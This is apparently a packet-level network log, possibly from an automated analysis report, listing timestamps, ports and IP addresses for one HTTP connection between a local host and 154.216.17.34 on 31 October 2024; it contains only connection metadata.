Oct 31, 2024 02:09:12.320163965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320178032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320195913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320208073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320209980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320219040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320230961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320241928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320244074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320250988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320262909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320272923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320295095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320312977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320332050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320343018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320355892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320368052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320372105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320386887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320390940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320399046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320408106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320409060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320417881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320427895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320437908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320446968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320450068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320461988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320470095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320473909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320487022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320487976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320513010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320538044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320676088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320688009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320698977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320709944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320720911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320735931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320758104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320805073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320818901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320828915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320842028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320852995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320857048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320863008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320873976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320875883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320887089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320895910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320904970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320905924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320916891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320934057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320946932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320974112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325052023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325062990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325108051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325193882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325205088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325216055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325227976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325244904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325258970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325269938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325283051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325289011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325294018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325314045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325335026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325397015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325408936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325419903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325432062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325443983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325448036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325465918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325491905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325499058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325544119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.325963020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325974941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.325987101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326015949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326024055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326035976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326040983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326047897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326060057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326077938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326100111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326102018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326114893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326127052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326152086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326157093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326165915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326168060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326196909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326215029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326350927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326361895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326373100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326404095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326430082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326436996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326448917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326462030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326473951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326487064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326505899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326529026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326558113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326569080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326581001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326596022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326607943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326608896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326620102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326633930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326642990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.326643944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326663971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.326683998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327164888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327177048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327189922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327205896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327218056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327222109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327229977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327251911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327261925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327289104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327301025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327321053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327333927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327341080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327344894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327363968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327389956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327408075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327419996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327430010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327442884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327451944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327455044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327466011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327471018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327480078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.327498913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.327526093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328069925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328120947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328157902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328169107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328181982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328193903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328205109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328207970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328227997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328254938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328258038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328269958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328280926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328294039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328301907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328308105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328320026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328325987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328356981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328370094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328376055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328382015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328392982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328404903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328416109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328417063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328429937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.328448057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328460932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.328490019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329055071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329102039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329109907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329114914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329158068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329163074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329174995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329185963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329196930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329199076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329226017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329253912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329271078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329282999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329293013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329303980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329315901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329327106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329328060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329339981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329355955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329358101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329368114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329375029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329380989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329394102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.329397917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329427958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.329454899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330035925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330048084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330058098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330080986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330091953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330092907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330121994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330142975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330142975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330153942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330164909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330176115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.330182076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330207109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.330229998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344335079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344346046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344357967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344377041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344389915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344409943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344432116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344444990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344469070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344480038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344494104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.344595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376287937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376329899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376388073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376425028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376454115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376466036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376540899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376553059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376563072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376564980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376564980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376564980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376580954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376591921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376595020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376605034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376614094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376641989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376662970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376816034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376862049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376919985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376938105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376946926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.376990080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.376992941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377043009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377064943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377068996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377078056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377089977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377115011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377137899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377167940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377182007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377192020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377206087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377217054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377218962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377243042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377316952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377324104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377335072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.377379894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.377392054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.417685986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417705059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417715073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417762041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417773962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417793036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.417859077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.417859077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.417859077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.417859077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.417859077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432502985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432523012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432533979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432588100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432595968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432611942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432624102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432636023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432667017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432679892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432696104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432708979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432719946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432733059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432740927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432770967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432770967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432784081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432796001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432809114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432809114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432820082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.432846069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.432874918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443450928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443464994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443475962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443501949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443517923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443521976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443530083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443541050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443562031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443589926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443593025 CET	80	49982	154.216.17.34	192.168.2.5
